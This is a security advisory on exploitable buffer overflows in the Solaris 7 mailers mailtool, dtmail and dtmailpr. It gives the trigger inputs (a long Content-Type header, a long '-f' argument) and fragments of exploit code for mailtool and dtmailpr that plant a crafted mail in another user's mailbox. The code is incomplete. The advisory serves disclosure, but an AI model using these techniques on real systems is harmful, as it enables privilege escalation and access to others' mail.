The mailer programs (mailtool and dtmail) and mail message print filter (dtmailpr), which are installed on Solaris7, have exploitable buffer overflows. These programs are sgid (mail group) programs, meaning that a local user can obtain mail group privileges. The mail files are generated with 660 permissions, so any user can also read/write other user's mail files.
Credit:
The information and exploit codes have been provided by: UNYUN.
The following tools are vulnerable to exploitable buffer overflows:
1) mailtool
This is usually used on the OpenWindow environment. There is a problem on the handling of "Content-Type:"
For example,
Content-Type: image/aaaaaaaa long 'a' aaaaaa; name="test.gif"
The mailtool overflows if you choose an e-mail that contains such "Content-Type". If root choose an e-mail that is written the exploit code, a local user who has mail gid can obtain root privilege.
2) dtmail
This is usually used on the CDE. If the long string is specified with "-f" option, dtmail overflows. This overflow is exploitable very easy. You can confirm EIP=0x41414141 when you specify a string that looks like "aaaaaa?aaa".
3) dtmailpr
dtmailpr is mail message print filter program. This program overflows "-f" option, too. You can also confirm EIP=0x41414141 with long "aaaaaaaa?aaa".
-----
/*===============================================================
Solaris mailtool exploit for Solaris7 Intel Edition
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
Descripton:
Local user can read/write any user's mailbox
Usage:
setenv DISPLAY yourdisply
gcc ex_mailtool.c
./a.out /var/mail/[any user]
- Choice "exploit@localhost" mail
===============================================================
*/
if ((fp=fopen(argv[1],"ab"))==NULL){
printf("Can not write '%s'\n",argv[1]);
exit(1);
}
fprintf(fp,HEAD,buf);
fclose(fp);
printf("Exploit mail has been added.\n");
printf("Choice \"exploit@localhost\" mail.\n");
sprintf(buf,"cd %s; mailtool",DIR);
system(buf);
}
-----
/*===============================================================
Solaris dtmailpr exploit for Solaris7 Intel Edition
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
Descripton:
Local user can read/write any user's mailbox
===============================================================
*/
